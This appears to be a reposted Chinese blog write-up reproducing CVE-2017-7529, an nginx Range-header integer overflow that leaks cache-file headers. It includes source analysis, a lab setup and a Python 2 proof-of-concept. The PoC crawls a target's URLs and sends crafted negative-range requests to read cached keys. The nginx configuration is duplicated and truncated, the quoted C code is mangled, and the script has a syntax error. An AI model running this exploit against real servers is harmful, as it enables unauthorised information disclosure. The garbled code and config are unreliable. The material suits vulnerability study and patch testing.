复现

您所在的位置:网站首页 整型数溢出 复现

复现

2024-07-13 20:20| 来源: 网络整理| 查看: 265

CVE-2017-7529

本文首发于freebuf

Nginx安全性分析

影响版本:0.5.6-1.13.2

漏洞危害:敏感信息泄露

HTTP-Range

HTTP的Range 允许客户端分批次请求资源的一部分,如果服务端资源较大,可以通过Range来并发下载;如果访问资源时网络中断,可以断点续传。

Range 设置在HTTP请求头中,它是多个byte-range-spec(或suffix-byte-range-spec )的集合。

byte-range-set = ( byte-range-spec | suffix-byte-range-spec)*N byte-range-spec = first-byte-pos "-" [last-byte-pos] suffix-byte-range-spec = "-" suffix-length

其中∶

first-bytes-pos指定了访问的第一个字节, last-byte-pos指定了最后一个字节, suffix-length 则表示要访问资源的最后suffix-length 个字节的内容, Range:bytes=O-1024表示访问第0到第1024字节, Range:bytes=500-600,601-999,-300表示分三块访问,分别是500到600字节,601到600字节,以及最后的300字节。

如果一次请求有多次range,需要multipart来组织

HTTP/1.1 206 Partial Content Date: Wed, 15 Nov 1995 06:25:24 GMT Last-Modified: Wed, 15 Nov 1995 04:58:08 GMT Content-type: multipart/byteranges;boundary=THIS_STRING_SEPARATES ...... Content-type: application/pdf Content-range: bytes 500-999/8000 ...... Content-type: application/pdf Content-range: bytes 7000-7999/8000

利用multipart进行分片

对于普通文件来说,Range 的开始和结束并不会有什么影响,因为服务器返回的就是完整文件的一部分,但是缓存文件不同,它和普通的文件相比额外拥有一个文件头,里面保存了一些服务器的配置信息(正常情况下服务器是不会返回缓存文件头部的)。所以,当我们针对一个缓存文件进行请求时,如果可以绕过服务器限制,使缓存文件被完整的返回,这时只要控制 Range 的起始字节为一个合理的负值,就可以读到缓存文件头部。

HTTP-Cache

Nginx可以作为缓存服务器,将Web应用服务器返回的内容缓存起来。如果客户端请求的内容已经被缓存,那么就可以直接将缓存内容返回,而无需再次请求应用服务器。由此,可降低应用服务器的负载,并提高服务的响应性能。

NGINX 中的缓存策略

Nginx对Range 的支持包括header处理和body处理,分别用来解析客户端发送过来的 Range header和裁剪返回给客户端的请求数据Body。 ngx_http_range_header_filter_module ——负责对header数据的处理ngx_http_range_body_filter_module ——负责对body数据的处理

漏洞原理分析

漏洞文件 ngx_http_range_filter_module.c

在header中range的解析过程

image-20220615220120448

在 ngx_http_range_parse 函数中有这样一个循环, 这段代码是要把“-”两边的数字取出分别赋值给 start 和 end 变量,字符串指针 p 中即为bytes=后面的内容

//部分源码如下 cutoff = NGX_MAX_OFF_T_VALUE / 10; cutlim = NGX_MAX_OFF_T_VALUE % 10; for(;;) { start=0; end=0; suffix=0; //... while(*p == ' ') { p++; } if (*p != '-') { if (*p < '0' || *p > '9') { return NGX_RANGENOT_SATISFIABLE; } while (*p >= '0' && *p = cutoff && (start > cutoff || *p - '0' > cutlim)) { return NGX_RANGENOT_SATISFIABLE; } start = start * 10 + *p++ - '0'; // 更新start } while (*p == ' ') { p++; } if (*p++ != '-') { return NGX_RANGENOT_SATISFIABLE; } while (*p == ' ') { p++; } if (*p == ',' || *p == '\0') { end = content_length; // 对end做更新 goto found; } }else{ suffix = 1; p++; } //... if (suffix) { start = content_length - end; // 第一次byte以“-end”格式传入时,end=0,start = content_length end = content_length - 1; // start > end 不会进入found } //... found: if (start < end) { range = ngx_array_push(&ctx->ranges); if (range == NULL) { return NGX_ERROR; } range->start = start; range->end = end; size += end - start; if (ranges-- == 0) { return NGX_DECLINED; } } if (*p++ != ',') { break; } } //... if (size > content_length) { return NGX_DELINED; } //...

在该段代码中存在 cutoff 和 cutlim 阈值限定了从字符串中读取时不会让 start 或 end 为负值, 所以这里需要进入 suffix = 1的分支,因此使用 Range:bytes=-xxx,(-end的格式)即省略初始 start 值的形式,由此可以绕过*p != '-'的限制,进入suffix=1的分支。

if (suffix) { start = content_length - end; end = content_length - 1; }

start 等于 content_length 减去 end 值,所以如果传入的 end 比实际长度还要长,就可以使 start 变为负数。其中content_length为不包含文件头的文件长度。最终 end 的值会被设定为 content_length - 1(因此我们需要构造一个小包)

if (start < end) { range = ngx_array_push(&ctx->ranges); if (range == NULL) { return NGX_ERROR; } range->start = start; range->end = end; size += end - start; if (ranges-- == 0) { return NGX_DECLINED; } }

start 相当于分片区间的头指针,end相当于分片区间的尾指针。如果此时 end 值要比文件长度(content_length)数值大的话,就可以将 start 解析为负值。与 Range 相关的还有一个 size 值,它是每段 Range 相加后的总长度

if (size > content_length) { return NGX_DELINED; }

当size(即所有range相加的总长度)超过文件长度content_length时,会返回默认的NGX_DELINED。

注意到此处有一个退出条件:

if (*p++ != ',') { break; }

支持支持 range 的值为start1-end1,start2-end2……的形式。

因此,可以构造 range:bytes=-x,-y。一大一小两个 end 值,只需要 控制前面一个 end 值小而后一个 end 值大,从而实现 start 值和 size 值皆为负数,控制 start 值负到一个合适的位置,那么就能成功读到缓存文件头部了。

以下验证和POC来源于:

http://www.hacksee.com/blog/nginx-int-overflow.html

CentOS搭建Nginx服务

安装依赖库

yum install gcc-c++ wget yum install pcre pcre-devel yum install zlib zlib-devel yum install openssl openssl-devel

下载指定版本的Nginx包

wget http://nginx.org/download/nginx-1.12.0.tar.gz

解压

tar -zxvf nginx-1.12.0.tar.gz

安装Nginx

cd nginx-1.12.0 ./configure --prefix=/usr/local/nginx make && make install ln -s /usr/local/nginx/sbin/nginx /usr/bin systemctl stop firewalld nginx

修改Nginx配置文件

vi /usr/local/nginx/conf/nginx.conf

设置 Nginx 服务器反向代理百度,开启缓存功能,具体配置如下:

#user nobody; worker_processes 1; #error_log logs/error.log; #error_log logs/error.log notice; #error_log logs/error.log info; #pid logs/nginx.pid; events { worker_connections 1024; } http { #pid logs/nginx.pid; events { worker_connections 1024; } http { include mime.types; default_type application/octet-stream; #log_format main '$remote_addr - $remote_user [$time_local] "$request" ' # '$status $body_bytes_sent "$http_referer" ' #error_log logs/error.log; #error_log logs/error.log notice; #error_log logs/error.log info; #pid logs/nginx.pid; events { worker_connections 1024; } http { include mime.types; default_type application/octet-stream; #log_format main '$remote_addr - $remote_user [$time_local] "$request" ' # '$status $body_bytes_sent "$http_referer" ' # '"$http_user_agent" "$http_x_forwarded_for"'; proxy_cache_key "$scheme$request_method$host$request_uri"; proxy_cache_path /tmp/nginx levels=1:2 keys_zone=zone:10m; proxy_cache_valid 200 10m; #access_log logs/access.log main; sendfile on; #tcp_nopush on; #keepalive_timeout 0;

proxy_cache_key 用来指定生成的key的字段内容,用以区分缓存文件,这部分内容会在之后我们利用漏洞时被泄露。proxy_cache_path 设置了缓存文件的路径和参数。proxy_cache_valid 用来指定不同状态码下的缓存时间。server 代码块设置了代理的内容,并对响应头进行了一些设置。add_header X-Proxy-Cache 表示在响应头里添加一条 X-Proxy-Cache ,用以区分是否命中缓存,它一共有 5 种状态,MISS 表示未命中,请求被传送到后端;HIT 表示缓存命中;EXPIRED 表示缓存已经过期请求被传送到后端;UPDATING 表示正在更新缓存,将使用旧的应答;STALE 表示后端将得到过期的应答。

重新加载配置

nginx -s reload

使用另一台服务器进行访问

image-20220616211003939

POC:

# -*- coding=utf-8 -*- import urllib2 import re import urlparse import HTMLParser import ssl import sys try: _create_unverified_https_context = ssl._create_unverified_context # Ignore certificate error except AttributeError: pass else: ssl._create_default_https_context = _create_unverified_https_context def get_url(target): url_list = [] if ':443' in target or ':8443' in target: url = 'https://' + target else: url = 'http://' + target res = urllib2.urlopen(url, timeout=30) html = res.read() root_url = res.geturl() m = re.findall("]*?(?:src|href)=('|\")(.*?)\\1", html, re.I) if m: for _ in m: ParseResult = urlparse.urlparse(_[1]) if ParseResult.netloc and ParseResult.scheme: if target == ParseResult.hostname: url_list.append(HTMLParser.HTMLParser().unescape(_[1])) elif not ParseResult.netloc and not ParseResult.scheme: url_list.append(HTMLParser.HTMLParser().unescape(urlparse.urljoin(root_url, _[1]))) return list(set(url_list)) def check(target): url_list = get_url(target) # url_list[0] = 'http://192.168.6.158/img/bd_logo1.png' # print url_list info = '[-]No risk detected' i = 0 for url in url_list: if i >= 3: break i += 1 l = 550 while l < 700: headers = urllib2.urlopen(url,timeout=30).headers file_len = headers["Content-Length"] request = urllib2.Request(url) request.add_header("Range", "bytes=-%d,-9223372036854%d"%(int(file_len)+l,776000-(int(file_len)+l))) cacheres = urllib2.urlopen(request, timeout=30) cont = cacheres.read(4048) print cont # print str(cacheres.headers) if cacheres.code == 206 and "Content-Range" in cont and ": HIT" in str(cacheres.headers): info = "[+]Target vulnerability!" return info else: l += 50 return info def main(): if len(sys.argv) != 2: print 'Usage: python %s ip:port(default 80)' % sys.argv[0] else: target = sys.argv[1] if ':' not in target: target = target + ':80' try: print check(target) except Exception,e: print '[-]Error: ' + str(e) exit(0) if __name__=='__main__':: main()

测试

python2 nginx_poc.py [your ip]

image-20220616215100390

成功爆keyKEY: httpGETx.x.x.x/favicon.ico

漏洞利用成功

http://www.hacksee.com/blog/nginx-int-overflow.html

https://paper.seebug.org/353/#5

https://gitee.com/geektime-geekbang/WebSecurity/raw/master/PDF/第四章(2):Nginx安全专题.pdf

本文来自博客园,作者:sherlson,转载请注明原文链接:https://www.cnblogs.com/sherlson/articles/16388374.html



【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3